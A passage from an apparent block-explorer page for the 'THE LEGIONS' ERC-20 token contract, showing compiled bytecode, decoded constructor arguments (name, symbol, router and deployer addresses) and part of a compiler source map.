61646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b611ac2816117d4565b8114611acd57600080fd5b50565b611ad981611812565b8114611ae457600080fd5b5056fea2646970667358221220c7462299ac19e6d808114d4064876d3dc5451528b9bc0ec469322e9d10cb043664736f6c63430008070033000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000c00000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d0000000000000000000000000b2db2a43611a9637e822183f6763bed55148c75000000000000000000000000000000000000000000000000000000000000000b544845204c4547494f4e5300000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000074c4547494f4e5300000000000000000000000000000000000000000000000000
Deployed Bytecode
0x608060405234801561001057600080fd5b50600436106101005760003560e01c80638da5cb5b11610097578063c5b37c2211610066578063c5b37c221461029f578063dd62ed3e146102bd578063f2fde38b146102ed578063f887ea401461030957610100565b80638da5cb5b1461021757806395d89b411461023557806397bfcda314610253578063a9059cbb1461026f57610100565b8063313ce567116100d3578063313ce567146101a157806349bd5a5e146101bf57806370a08231146101dd578063715018a61461020d57610100565b806306fdde0314610105578063095ea7b31461012357806318160ddd1461015357806323b872dd14610171575b600080fd5b61010d610327565b60405161011a919061143e565b60405180910390f35b61013d6004803603810190610138919061127f565b6103b9565b60405161014a9190611408565b60405180910390f35b61015b6103ce565b60405161016891906114e0565b60405180910390f35b61018b6004803603810190610186919061122c565b6103d8565b6040516101989190611408565b60405180910390f35b6101a9610527565b6040516101b691906114e0565b60405180910390f35b6101c7610541565b6040516101d491906113ed565b60405180910390f35b6101f760048036038101906101f291906111bf565b610567565b60405161020491906114e0565b60405180910390f35b6102156105b0565b005b61021f610638565b60405161022c91906113ed565b60405180910390f35b61023d610661565b60405161024a919061143e565b60405180910390f35b61026d600480360381019061026891906112bf565b6106f3565b005b6102896004803603810190610284919061127f565b6107dd565b6040516102969190611408565b60405180910390f35b6102a7610859565b6040516102b491906114e0565b60405180910390f35b6102d760048036038101906102d291906111ec565b61085f565b6040516102e491906114e0565b60405180910390f35b610307600480360381019061030291906111bf565b6108e6565b005b6103116109de565b60405161031e9190611423565b60405180910390f35b60606002805461033690611892565b80601f016020809104026020016040519081016040528092919081815260200182805461036290611892565b80156103af5780601f10610384576101008083540402835291602001916103af565b820191906000526020600020905b81548152906001019060200180831161039257829003601f168201915b5050505050905090565b60006103c6338484610a04565b905092915050565b6000600754905090565b600080821161041c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610413906114a0565b60405180910390fd5b610427848484610b9f565b8273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161048491906114e0565b60405180910390a361051e843384600560008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461051991906117a0565b610a04565b90509392505050565b6000600460009054906101000a900460ff1660ff16905090565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6105b86110c9565b73ffffffffffffffffffffffffffffffffffffffff166105d6610638565b73ffffffffffffffffffffffffffffffffffffffff161461062c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161062390611480565b60405180910390fd5b61063660006110d1565b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606003805461067090611892565b80601f016020809104026020016040519081016040528092919081815260200182805461069c90611892565b80156106e95780601f106106be576101008083540402835291602001916106e9565b820191906000526020600020905b8154815290600101906020018083116106cc57829003601f168201915b5050505050905090565b6106fb6110c9565b73ffffffffffffffffffffffffffffffffffffffff16610719610638565b73ffffffffffffffffffffffffffffffffffffffff161461076f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161076690611480565b60405180910390fd5b600047905061077c610638565b73ffffffffffffffffffffffffffffffffffffffff166108fc606484846107a39190611746565b6107ad91906115a4565b9081150290604051600060405180830381858888f193505050501580156107d8573d6000803e3d6000fd5b505050565b60006107ea338484610b9f565b8273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161084791906114e0565b60405180910390a36001905092915050565b60015481565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6108ee6110c9565b73ffffffffffffffffffffffffffffffffffffffff1661090c610638565b73ffffffffffffffffffffffffffffffffffffffff1614610962576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161095990611480565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156109d2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109c990611460565b60405180910390fd5b6109db816110d1565b50565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015610a6f5750600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b610aae576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610aa5906114c0565b60405180910390fd5b81600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92584604051610b8c91906114e0565b60405180910390a3600190509392505050565b6000600c600181548110610bb657610bb5611951565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905060008473ffffffffffffffffffffffffffffffffffffffff16600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16149050600060015490506000600e60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054148015610ccd57506000600d60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b8015610cd7575081155b15610dd15780600e60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610d2b91906117a0565b92505081905550600460009054906101000a900460ff16600d610d4e919061156d565b600a610d5a9190611628565b6002610d669190611746565b841115610dd057600181610d7a91906117a0565b600e60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610dc891906117a0565b925050819055505b5b84600c600181548110610de757610de6611951565b5b9060005260206000200160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600e60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054118015610e7e5750600084145b15610eda5780600e60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610ed29190611517565b925050819055505b600181610ee79190611517565b600d60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610f359190611517565b925050819055506000600154606486610f4e91906115a4565b610f589190611746565b90508085610f6691906117a0565b945080600660008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610fb791906117a0565b9250508190555080600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461100d9190611517565b9250508190555084600660008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461106391906117a0565b9250508190555084600660008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546110b99190611517565b9250508190555050505050505050565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b6000813590506111a481611ab9565b92915050565b6000813590506111b981611ad0565b92915050565b6000602082840312156111d5576111d4611980565b5b60006111e384828501611195565b91505092915050565b6000806040838503121561120357611202611980565b5b600061121185828601611195565b925050602061122285828601611195565b9150509250929050565b60008060006060848603121561124557611244611980565b5b600061125386828701611195565b935050602061126486828701611195565b9250506040611275868287016111aa565b9150509250925092565b6000806040838503121561129657611295611980565b5b60006112a485828601611195565b92505060206112b5858286016111aa565b9150509250929050565b6000602082840312156112d5576112d4611980565b5b60006112e3848285016111aa565b91505092915050565b6112f5816117d4565b82525050565b611304816117e6565b82525050565b61131381611829565b82525050565b6000611324826114fb565b61132e8185611506565b935061133e81856020860161185f565b61134781611985565b840191505092915050565b600061135f602683611506565b915061136a826119a3565b604082019050919050565b6000611382602083611506565b915061138d826119f2565b602082019050919050565b60006113a5602983611506565b91506113b082611a1b565b604082019050919050565b60006113c8602483611506565b91506113d382611a6a565b604082019050919050565b6113e781611812565b82525050565b600060208201905061140260008301846112ec565b92915050565b600060208201905061141d60008301846112fb565b92915050565b6000602082019050611438600083018461130a565b92915050565b600060208201905081810360008301526114588184611319565b905092915050565b6000602082019050818103600083015261147981611352565b9050919050565b6000602082019050818103600083015261149981611375565b9050919050565b600060208201905081810360008301526114b981611398565b9050919050565b600060208201905081810360008301526114d9816113bb565b9050919050565b60006020820190506114f560008301846113de565b92915050565b600081519050919050565b600082825260208201905092915050565b600061152282611812565b915061152d83611812565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115611562576115616118c4565b5b828201905092915050565b60006115788261181c565b91506115838361181c565b92508260ff03821115611599576115986118c4565b5b828201905092915050565b60006115af82611812565b91506115ba83611812565b9250826115ca576115c96118f3565b5b828204905092915050565b6000808291508390505b600185111561161f578086048111156115fb576115fa6118c4565b5b600185161561160a5780820291505b808102905061161885611996565b94506115df565b94509492505050565b600061163382611812565b915061163e8361181c565b925061166b7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484611673565b905092915050565b600082611683576001905061173f565b81611691576000905061173f565b81600181146116a757600281146116b1576116e0565b600191505061173f565b60ff8411156116c3576116c26118c4565b5b8360020a9150848211156116da576116d96118c4565b5b5061173f565b5060208310610133831016604e8410600b84101617156117155782820a9050838111156117105761170f6118c4565b5b61173f565b61172284848460016115d5565b92509050818404811115611739576117386118c4565b5b81810290505b9392505050565b600061175182611812565b915061175c83611812565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615611795576117946118c4565b5b828202905092915050565b60006117ab82611812565b91506117b683611812565b9250828210156117c9576117c86118c4565b5b828203905092915050565b60006117df826117f2565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006118348261183b565b9050919050565b60006118468261184d565b9050919050565b6000611858826117f2565b9050919050565b60005b8381101561187d578082015181840152602081019050611862565b8381111561188c576000848401525b50505050565b600060028204905060018216806118aa57607f821691505b602082108114156118be576118bd611922565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600080fd5b6000601f19601f8301169050919050565b60008160011c9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b611ac2816117d4565b8114611acd57600080fd5b50565b611ad981611812565b8114611ae457600080fd5b5056fea2646970667358221220c7462299ac19e6d808114d4064876d3dc5451528b9bc0ec469322e9d10cb043664736f6c63430008070033
Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)
000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000c00000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d0000000000000000000000000b2db2a43611a9637e822183f6763bed55148c75000000000000000000000000000000000000000000000000000000000000000b544845204c4547494f4e5300000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000074c4547494f4e5300000000000000000000000000000000000000000000000000
-----Decoded View---------------
Arg [0] : _NAME (string): THE LEGIONS
Arg [1] : _SYMBOL (string): LEGIONS
Arg [2] : routerAddress (address): 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
Arg [3] : _deployer (address): 0x0b2db2a43611A9637E822183F6763bED55148C75
-----Encoded View---------------
8 Constructor Arguments found :
Arg [0] : 0000000000000000000000000000000000000000000000000000000000000080
Arg [1] : 00000000000000000000000000000000000000000000000000000000000000c0
Arg [2] : 0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d
Arg [3] : 0000000000000000000000000b2db2a43611a9637e822183f6763bed55148c75
Arg [4] : 000000000000000000000000000000000000000000000000000000000000000b
Arg [5] : 544845204c4547494f4e53000000000000000000000000000000000000000000
Arg [6] : 0000000000000000000000000000000000000000000000000000000000000007
Arg [7] : 4c4547494f4e5300000000000000000000000000000000000000000000000000
Deployed Bytecode Sourcemap
8651:4295:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;9481:83;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11561:137;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10229:86;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11762:398;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9972:85;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9855:28;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10369:110;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2509:94;;;:::i;:::-;;1858:87;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9700;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12747:196;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;12168:211;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9367:19;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10487:134;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2758:192;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;9890:32;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9481:83;9518:13;9551:5;9544:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;9481:83;:::o;11561:137::-;11629:4;11653:37;11662:10;11674:7;11683:6;11653:8;:37::i;:::-;11646:44;;11561:137;;;;:::o;10229:86::-;10273:7;10300;;10293:14;;10229:86;:::o;11762:398::-;11887:4;11921:1;11912:6;:10;11904:64;;;;;;;;;;;;:::i;:::-;;;;;;;;;11979:34;11987:6;11995:9;12006:6;11979:7;:34::i;:::-;12046:9;12029:35;;12038:6;12029:35;;;12057:6;12029:35;;;;;;:::i;:::-;;;;;;;;12082:70;12091:6;12099:10;12145:6;12111:11;:19;12123:6;12111:19;;;;;;;;;;;;;;;:31;12131:10;12111:31;;;;;;;;;;;;;;;;:40;;;;:::i;:::-;12082:8;:70::i;:::-;12075:77;;11762:398;;;;;:::o;9972:85::-;10013:7;10040:9;;;;;;;;;;;10033:16;;;;9972:85;:::o;9855:28::-;;;;;;;;;;;;;:::o;10369:110::-;10426:7;10453:9;:18;10463:7;10453:18;;;;;;;;;;;;;;;;10446:25;;10369:110;;;:::o;2509:94::-;2089:12;:10;:12::i;:::-;2078:23;;:7;:5;:7::i;:::-;:23;;;2070:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;2574:21:::1;2592:1;2574:9;:21::i;:::-;2509:94::o:0;1858:87::-;1904:7;1931:6;;;;;;;;;;;1924:13;;1858:87;:::o;9700:::-;9739:13;9772:7;9765:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;9700:87;:::o;12747:196::-;2089:12;:10;:12::i;:::-;2078:23;;:7;:5;:7::i;:::-;:23;;;2070:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;12822:17:::1;12842:21;12822:41;;12882:7;:5;:7::i;:::-;12874:25;;:61;12931:3;12912:16;12900:9;:28;;;;:::i;:::-;:34;;;;:::i;:::-;12874:61;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;12811:132;12747:196:::0;:::o;12168:211::-;12239:4;12256:38;12264:10;12276:9;12287:6;12256:7;:38::i;:::-;12331:9;12310:39;;12319:10;12310:39;;;12342:6;12310:39;;;;;;:::i;:::-;;;;;;;;12367:4;12360:11;;12168:211;;;;:::o;9367:19::-;;;;:::o;10487:134::-;10559:7;10586:11;:18;10598:5;10586:18;;;;;;;;;;;;;;;:27;10605:7;10586:27;;;;;;;;;;;;;;;;10579:34;;10487:134;;;;:::o;2758:192::-;2089:12;:10;:12::i;:::-;2078:23;;:7;:5;:7::i;:::-;:23;;;2070:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;2867:1:::1;2847:22;;:8;:22;;;;2839:73;;;;;;;;;;;;:::i;:::-;;;;;;;;;2923:19;2933:8;2923:9;:19::i;:::-;2758:192:::0;:::o;9890:32::-;;;;;;;;;;;;;:::o;12387:352::-;12504:4;12546:1;12529:19;;:5;:19;;;;:44;;;;;12571:1;12552:21;;:7;:21;;;;12529:44;12521:93;;;;;;;;;;;;:::i;:::-;;;;;;;;;12655:6;12625:11;:18;12637:5;12625:18;;;;;;;;;;;;;;;:27;12644:7;12625:27;;;;;;;;;;;;;;;:36;;;;12693:7;12677:32;;12686:5;12677:32;;;12702:6;12677:32;;;;;;:::i;:::-;;;;;;;;12727:4;12720:11;;12387:352;;;;;:::o;10629:873::-;10750:12;10765:8;10774:1;10765:11;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;10750:26;;10787:11;10818:7;10801:24;;:13;;;;;;;;;;;:24;;;10787:38;;10836:13;10852:4;;10836:20;;10897:1;10873:11;:20;10885:7;10873:20;;;;;;;;;;;;;;;;:25;:48;;;;;10920:1;10902:6;:15;10909:7;10902:15;;;;;;;;;;;;;;;;:19;10873:48;:59;;;;;10926:6;10925:7;10873:59;10869:208;;;10973:5;10949:11;:20;10961:7;10949:20;;;;;;;;;;;;;;;;:29;;;;;;;:::i;:::-;;;;;;;;11020:9;;;;;;;;;;;11015:2;:14;;;;:::i;:::-;11010:2;:20;;;;:::i;:::-;11006:1;:24;;;;:::i;:::-;10997:6;:33;10993:72;;;11064:1;11056:5;:9;;;;:::i;:::-;11032:11;:20;11044:7;11032:20;;;;;;;;;;;;;;;;:33;;;;;;;:::i;:::-;;;;;;;;10993:72;10869:208;11103:8;11089;11098:1;11089:11;;;;;;;;:::i;:::-;;;;;;;;;;:22;;;;;;;;;;;;;;;;;;11151:1;11128:11;:20;11140:7;11128:20;;;;;;;;;;;;;;;;:24;:39;;;;;11166:1;11156:6;:11;11128:39;11124:102;;;11209:5;11184:11;:21;11196:8;11184:21;;;;;;;;;;;;;;;;:30;;;;;;;:::i;:::-;;;;;;;;11124:102;11262:1;11254:5;:9;;;;:::i;:::-;11238:6;:12;11245:4;11238:12;;;;;;;;;;;;;;;;:25;;;;;;;:::i;:::-;;;;;;;;11276:11;11307:4;;11300:3;11291:6;:12;;;;:::i;:::-;11290:21;;;;:::i;:::-;11276:35;;11332:3;11322:13;;;;;:::i;:::-;;;11368:3;11346:9;:18;11356:7;11346:18;;;;;;;;;;;;;;;;:25;;;;;;;:::i;:::-;;;;;;;;11410:3;11382:9;:24;11400:4;11382:24;;;;;;;;;;;;;;;;:31;;;;;;;:::i;:::-;;;;;;;;11448:6;11426:9;:18;11436:7;11426:18;;;;;;;;;;;;;;;;:28;;;;;;;:::i;:::-;;;;;;;;11488:6;11465:9;:19;11475:8;11465:19;;;;;;;;;;;;;;;;:29;;;;;;;:::i;:::-;;;;;;;;10739:763;;;;10629:873;;;:::o;677:98::-;730:7;757:10;750:17;;677:98;:::o;2958:173::-;3014:16;3033:6;;;;;;;;;;;3014:25;;3059:8;3050:6;;:17;;;;;;;;;;;;;;;;;;3114:8;3083:40;;3104:8;3083:40;;;;;;;;;;;;3003:128;2958:173;:::o;7:139:1:-;53:5;91:6;78:20;69:29;;107:33;134:5;107:33;:::i;:::-;7:139;;;;:::o;152:::-;198:5;236:6;223:20;214:29;;252:33;279:5;252:33;:::i;:::-;152:139;;;;:::o;297:329::-;356:6;405:2;393:9;384:7;380:23;376:32;373:119;;;411:79;;:::i;:::-;373:119;531:1;556:53;601:7;592:6;581:9;577:22;556:53;:::i;:::-;546:63;;502:117;297:329;;;;:::o;632:474::-;700:6;708;757:2;745:9;736:7;732:23;728:32;725:119;;;763:79;;:::i;:::-;725:119;883:1;908:53;953:7;944:6;933:9;929:22;908:53;:::i;:::-;898:63;;854:117;1010:2;1036:53;1081:7;1072:6;1061:9;1057:22;1036:53;:::i;:::-;1026:63;;981:118;632:474;;;;;:::o;1112:619::-;1189:6;1197;1205;1254:2;1242:9;1233:7;1229:23;1225:32;1222:119;;;1260:79;;:::i;:::-;1222:119;1380:1;1405:53;1450:7;1441:6;1430:9;1426:22;1405:53;:::i;:::-;1395:63;;1351:117;1507:2;1533:53;1578:7;1569:6;1558:9;1554:22;1533:53;:::i;:::-;1523:63;;1478:118;1635:2;1661:53;1706:7;1697:6;1686:9;1682:22;1661:53;:::i;:::-;1651:63;;1606:118;1112:619;;;;;:::o;1737:474::-;1805:6;1813;1862:2;1850:9;1841:7;1837:23;1833:32;1830:119;;;1868:79;;:::i;:::-;1830:119;1988:1;2013:53;2058:7;2049:6;2038:9;2034:22;2013:53;:::i;:::-;2003:63;;1959:117;2115:2;2141:53;2186:7;2177:6;2166:9;2162:22;2141:53;:::i;:::-;2131:63;;2086:118;1737:474;;;;;:::o;2217:329::-;2276:6;2325:2;2313:9;2304:7;2300:23;2296:32;2293:119;;;2331:79;;:::i;:::-;2293:119;2451:1;2476:53;2521:7;2512:6;2501:9;2497:22;2476:53;:::i;:::-;2466:63;;2422:117;2217:329;;;;:::o;2552:118::-;2639:24;2657:5;2639:24;:::i;:::-;2634:3;2627:37;2552:118;;:::o;2676:109::-;2757:21;2772:5;2757:21;:::i;:::-;2752:3;2745:34;2676:109;;:::o;2791:183::-;2904:63;2961:5;2904:63;:::i;:::-;2899:3;2892:76;2791:183;;:::o;2980:364::-;3068:3;3096:39;3129:5;3096:39;:::i;:::-;3151:71;3215:6;3210:3;3151:71;:::i;:::-;3144:78;;3231:52;3276:6;3271:3;3264:4;3257:5;3253:16;3231:52;:::i;:::-;3308:29;3330:6;3308:29;:::i;:::-;3303:3;3299:39;3292:46;;3072:272;2980:364;;;;:::o;3350:366::-;3492:3;3513:67;3577:2;3572:3;3513:67;:::i;:::-;3506:74;;3589:93;3678:3;3589:93;:::i;:::-;3707:2;3702:3;3698:12;3691:19;;3350:366;;;:::o;3722:::-;3864:3;3885:67;3949:2;3944:3;3885:67;:::i;:::-;3878:74;;3961:93;4050:3;3961:93;:::i;:::-;4079:2;4074:3;4070:12;4063:19;;3722:366;;;:::o;4094:::-;4236:3;4257:67;4321:2;4316:3;4257:67;:::i;:::-;4250:74;;4333:93;4422:3;4333:93;:::i;:::-;4451:2;4446:3;4442:12;4435:19;;4094:366;;;:::o;4466:::-;4608:3;4629:67;4693:2;4688:3;4629:67;:::i;:::-;4622:74;;4705:93;4794:3;4705:93;:::i;:::-;4823:2;4818:3;4814:12;4807:19;;4466:366;;;:::o;4838:118::-;4925:24;4943:5;4925:24;:::i;:::-;4920:3;4913:37;4838:118;;:::o;4962:222::-;5055:4;5093:2;5082:9;5078:18;5070:26;;5106:71;5174:1;5163:9;5159:17;5150:6;5106:71;:::i;:::-;4962:222;;;;:::o;5190:210::-;5277:4;5315:2;5304:9;5300:18;5292:26;;5328:65;5390:1;5379:9;5375:17;5366:6;5328:65;:::i;:::-;5190:210;;;;:::o;5406:274::-;5525:4;5563:2;5552:9;5548:18;5540:26;;5576:97;5670:1;5659:9;5655:17;5646:6;5576:97;:::i;:::-;5406:274;;;;:::o;5686:313::-;5799:4;5837:2;5826:9;5822:18;5814:26;;5886:9;5880:4;5876:20;5872:1;5861:9;5857:17;5850:47;5914:78;5987:4;5978:6;5914:78;:::i;:::-;5906:86;;5686:313;;;;:::o;6005:419::-;6171:4;6209:2;6198:9;6194:18;6186:26;;6258:9;6252:4;6248:20;6244:1;6233:9;6229:17;6222:47;6286:131;6412:4;6286:131;:::i;:::-;6278:139;;6005:419;;;:::o;6430:::-;6596:4;6634:2;6623:9;6619:18;6611:26;;6683:9;6677:4;6673:20;6669:1;6658:9;6654:17;6647:47;6711:131;6837:4;6711:131;:::i;:::-;6703:139;;6430:419;;;:::o;6855:::-;7021:4;7059:2;7048:9;7044:18;7036:26;;7108:9;7102:4;7098:20;7094:1;7083:9;7079:17;7072:47;7136:131;7262:4;7136:131;:::i;:::-;7128:139;;6855:419;;;:::o;7280:::-;7446:4;7484:2;7473:9;7469:18;7461:26;;7533:9;7527:4;7523:20;7519:1;7508:9;7504:17;7497:47;7561:131;7687:4;7561:131;:::i;:::-;7553:139;;7280:419;;;:::o;7705:222::-;7798:4;7836:2;7825:9;7821:18;7813:26;;7849:71;7917:1;7906:9;7902:17;7893:6;7849:71;:::i;:::-;7705:222;;;;:::o;8014:99::-;8066:6;8100:5;8094:12;8084:22;;8014:99;;;:::o;8119:169::-;8203:11;8237:6;8232:3;8225:19;8277:4;8272:3;8268:14;8253:29;;8119:169;;;;:::o;8294:305::-;8334:3;8353:20;8371:1;8353:20;:::i;:::-;8348:25;;8387:20;8405:1;8387:20;:::i;:::-;8382:25;;8541:1;8473:66;8469:74;8466:1;8463:81;8460:107;;;8547:18;;:::i;:::-;8460:107;8591:1;8588;8584:9;8577:16;;8294:305;;;;:::o;8605:237::-;8643:3;8662:18;8678:1;8662:18;:::i;:::-;8657:23;;8694:18;8710:1;8694:18;:::i;:::-;8689:23;;8784:1;8778:4;8774:12;8771:1;8768:19;8765:45;;;8790:18;;:::i;:::-;8765:45;8834:1;8831;8827:9;8820:16;;8605:237;;;;:::o;8848:185::-;8888:1;8905:20;8923:1;8905:20;:::i;:::-;8900:25;;8939:20;8957:1;8939:20;:::i;:::-;8934:25;;8978:1;8968:35;;8983:18;;:::i;:::-;8968:35;9025:1;9022;9018:9;9013:14;;8848:185;;;;:::o;9039:848::-;9100:5;9107:4;9131:6;9122:15;;9155:5;9146:14;;9169:712;9190:1;9180:8;9177:15;9169:712;;;9285:4;9280:3;9276:14;9270:4;9267:24;9264:50;;;9294:18;;:::i;:::-;9264:50;9344:1;9334:8;9330:16;9327:451;;;9759:4;9752:5;9748:16;9739:25;;9327:451;9809:4;9803;9799:15;9791:23;;9839:32;9862:8;9839:32;:::i;:::-;9827:44;;9169:712;;;9039:848;;;;;;;:::o;9893:281::-;9951:5;9975:23;9993:4;9975:23;:::i;:::-;9967:31;;10019:25;10035:8;10019:25;:::i;:::-;10007:37;;10063:104;10100:66;10090:8;10084:4;10063:104;:::i;:::-;10054:113;;9893:281;;;;:::o;10180:1073::-;10234:5;10425:8;10415:40;;10446:1;10437:10;;10448:5;;10415:40;10474:4;10464:36;;10491:1;10482:10;;10493:5;;10464:36;10560:4;10608:1;10603:27;;;;10644:1;10639:191;;;;10553:277;;10603:27;10621:1;10612:10;;10623:5;;;10639:191;10684:3;10674:8;10671:17;10668:43;;;10691:18;;:::i;:::-;10668:43;10740:8;10737:1;10733:16;10724:25;;10775:3;10768:5;10765:14;10762:40;;;10782:18;;:::i;:::-;10762:40;10815:5;;;10553:277;;10939:2;10929:8;10926:16;10920:3;10914:4;10911:13;10907:36;10889:2;10879:8;10876:16;10871:2;10865:4;10862:12;10858:35;10842:111;10839:246;;;10995:8;10989:4;10985:19;10976:28;;11030:3;11023:5;11020:14;11017:40;;;11037:18;;:::i;:::-;11017:40;11070:5;;108